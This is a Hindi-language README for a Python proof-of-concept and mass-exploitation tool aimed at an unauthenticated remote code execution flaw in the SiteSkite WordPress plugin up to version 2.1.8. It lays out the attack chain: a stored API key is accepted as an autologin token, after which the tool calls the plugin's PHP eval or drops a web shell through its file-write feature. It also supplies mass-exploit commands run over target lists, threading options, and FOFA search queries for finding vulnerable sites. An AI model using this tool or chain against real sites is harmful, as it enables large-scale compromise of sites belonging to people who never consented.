
CVE-2026-96349 के लिए Python PoC और सामूहिक-शोषण उपकरण, जो WordPress SiteSkite प्लगइन ≤2.1.8 में API-key ऑटोलॉगिन और MCP PHP eval के माध्यम से एक अनधिप्रमाणित RCE है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-96349 |
| उत्पाद | SiteSkite WordPress प्लगइन |
| प्रभावित | ≤ 2.1.8 |
| ठीक किया गया | 2.2.0 |
| CWE | CWE-94 — कोड के निर्माण का अनुचित नियंत्रण |
| CVSS | 10.0 (गंभीर) — Patchstack सलाह |
| PoCbit कैटलॉग | https://pocbit.org/pocs/ |
| PoCbit पृष्ठ | https://pocbit.org/pocs/cve-2026-96349 |
| सत्यापन मार्कर | POCBIT-96349-OK |
CVE-2026-102425 की समान शैली में Python PoC: इंटरैक्टिव मेनू, मास एक्सप्लॉइट (डिफ़ॉल्ट), --check, -u, --lab, थ्रेड पूल, hits.txt / exploited.txt।
Patchstack और CVE कार्यक्रम CVE-2026-96349 को SiteSkite प्लगइन में एक अनधिप्रमाणित रिमोट कोड निष्पादन दोष के रूप में वर्णित करते हैं। सार्वजनिक पाठ जानबूझकर संक्षिप्त है; विक्रेता का फ़िक्स 2.2.0 (सितंबर 2026) प्रमाणीकरण और ऑटो-लॉगिन को बड़े पैमाने पर छूता है। इस रेपो में 2.1.8 बनाम 2.2.0 (extract-2.1.8/, extract-2.2.0/) की स्थिर तुलना वह व्यावहारिक हमला सतह दिखाती है जिसे यह PoC लागू करता है।
SiteSkite एक बड़ा WebOps प्लगइन है: बैकअप, पोर्टल API, और ऑन-साइट AI MCP ("क्षमताएँ") जिसमें उन्नत उपकरण शामिल हैं जो हमलावर-प्रदत्त PHP पर eval() कॉल करते हैं (siteskite_execute_php) और मनमानी फ़ाइल लेखन (siteskite_write_file) करते हैं। ये क्षमताएँ REST के माध्यम से और admin-ajax.php के माध्यम से पहुँच योग्य हैं जब साइट किसी SiteSkite API कुंजी से जुड़ी होती है।
≤ 2.1.8 में गंभीर गलती यह है कि वही दीर्घकालिक API कुंजी एक अनधिप्रमाणित WordPress एडमिन लॉगिन बियरर के रूप में भी काम करती है:
AutoLoginController /siteskite-autologin पर ?token=<siteskite_api_key> स्वीकार करता है और, handle_token_login() के माध्यम से, किसी भी फ्रंट-एंड URL पर जिसमें ?token=… शामिल हो।get_option('siteskite_api_key') के विरुद्ध सादे समानता का उपयोग करती है (कोई पोर्टल हस्ताक्षर नहीं, कोई एक-बार नॉनस नहीं)।wp_set_auth_cookie() कॉल करता है, Solid Security / समान प्लगइन्स के लिए वैकल्पिक 2FA बायपास के साथ।2.2.0 इस पथ को हटा देता है: कच्चे API कुंजी बियरर अस्वीकार किए जाते हैं (hash_equals जाँच, "Login Unavailable"), और लॉगिन के लिए पोर्टल-जारी हस्ताक्षरित लिंक (AutologinPortalSignature) आवश्यक हैं। mu-plugin सुरक्षा कोर अब लीगेसी कुंजी लॉगिन का सम्मान नहीं करता।
हमलावर के दृष्टिकोण से श्रृंखला यह है:
/?token=KEY या /siteskite-autologin?token=KEY) के माध्यम से एडमिन सत्र सिद्ध करें।X-SiteSkite-Key: KEY के साथ POST /wp-json/siteskite/v1/abilities/execute (या admin-ajax.php?action=siteskite_api) कॉल करें और siteskite_execute_php चलाएँ या siteskite_write_file के माध्यम से up.php ड्रॉप करें → POCBIT-96349-OK।2.1.8 में उन्नत MCP उपकरण डिफ़ॉल्ट रूप से चालू हैं (McpSettings::DEFAULT_ADVANCED = '1'), इसलिए कुंजी ज्ञात होने पर कई जुड़ी साइटें eval को उजागर करती हैं।
| घटक | 2.1.8 व्यवहार | 2.2.0 परिवर्तन |
|---|---|---|
includes/Core/AutoLoginController.php | ?token= संग्रहीत API कुंजी के बराबर → एडमिन कुकी | कच्ची कुंजी अस्वीकृत; केवल पोर्टल HMAC लॉगिन |
includes/Mcp/Abilities/AdvancedAbilities.php | siteskite_execute_php → eval($code) | अभी भी मौजूद; प्रमाणीकरण + सेटिंग्स द्वारा नियंत्रित |
includes/Mcp/AbilitiesRest.php | X-SiteSkite-Key → क्षमताएँ निष्पादित करें | वही सतह; ऑटोलॉगिन अब कुंजी के बिना सत्र लीक नहीं करता |
includes/API/FallbackAPI.php | wp_ajax_nopriv_siteskite_api कुंजी वैध होने पर क्षमताओं को प्रॉक्सी करता है | अभी भी कुंजी / अतिथि कुंजी आवश्यक है |
अन्य अप्रमाणित REST रूट (UploadRest, OAuth पंजीकरण) मौजूद हैं लेकिन उनके लिए टोकन या PKCE आवश्यक है; वे यहाँ मॉडल की गई प्राथमिक श्रृंखला नहीं हैं।
| फ़ाइल | भूमिका |
|---|---|
poc.py | CLI / इंटरैक्टिव / मास एक्सप्लॉइट |
_engine.py | HTTP लॉजिक, PoCbit मेटाडेटा, लैब सर्वर |
up.php | वैकल्पिक वेब शेल प्रोब (?pocbit=1 → मार्कर) |
targets.example.txt | URL सूची; वैकल्पिक URL<TAB>api_key |
extract-2.1.8/ / extract-2.2.0/ | डिफ के लिए विक्रेता स्रोत (PoC चलाने के लिए आवश्यक नहीं) |
pip install requests coloramapython poc.py
प्रॉम्प्ट: मोड, वैकल्पिक ग्लोबल API कुंजी, लक्ष्य फ़ाइल, थ्रेड्स (डिफ़ॉल्ट 16), टाइमआउट।
exploited.txtpython poc.py fofa_targets.txt
python poc.py urls.txt --key YOUR_SITESKITE_API_KEY
python poc.py urls.txt -t 24 -T 25
प्रति-लक्ष्य कुंजियाँ (URL के बाद टैब, स्पेस या पाइप):
https://customer.example abc123…siteskiteKey…
https://other.site|anotherKey
पर्यावरण फ़ॉलबैक: SITESKITE_API_KEY या SITESKITE_KEY।
hits.txtpython poc.py --check fofa_targets.txt
फिंगरप्रिंट: readme.txt Stable tag, लेगेसी /siteskite-autologin मिसिंग-टोकन प्रतिक्रिया, संस्करण ≤ 2.1.8।
python poc.py -u https://target.example --check
python poc.py -u https://target.example --key SITE_SKITE_KEY
python poc.py --lab
127.0.0.1:8796 को नकली readme 2.1.8, autologin, और abilities endpoint के साथ स्पिन करता है; "exploited": true लौटाना चाहिए।
flowchart LR
A[Target URL] --> B{readme ≤ 2.1.8?}
B -->|no| Z[skip / patched]
B -->|yes| C{API key known?}
C -->|no| N[needs_api_key]
C -->|yes| D[POST abilities/execute]
D --> E{siteskite_execute_php}
E -->|marker| F[RCE verified]
E -->|fail| G[autologin ?token=KEY]
G --> D
E -->|fail| H[write_file / ajax fallback]
H --> F
siteskite_execute_php के साथ echo POCBIT-96349-OK;route=/abilities/execute)siteskite_write_file → wp-content/uploads/pocbit_96349.phpeval up.php के लिए drop helperJSON परिणाम पंक्तियों में pocbit, pocbit_catalog, pocbit_page, CVE URLs, और लॉगिंग पाइपलाइनों के लिए verify_marker शामिल हैं।
उदाहरण (अपने indexer के अनुसार समायोजित करें):
body="/wp-content/plugins/siteskite/"
header="siteskite" && body="wp-content/plugins"
Check मोड API keys को brute-force नहीं करता। Exploit मोड के लिए एक key आवश्यक है, जब तक कि आपके पास पहले से अपने portal या leak intelligence से url\tkey जोड़े न हों।
/siteskite-autologin तक बाहरी पहुँच को ब्लॉक करें और ?token= / X-SiteSkite-Key के दुरुपयोग के लिए logs का audit करें।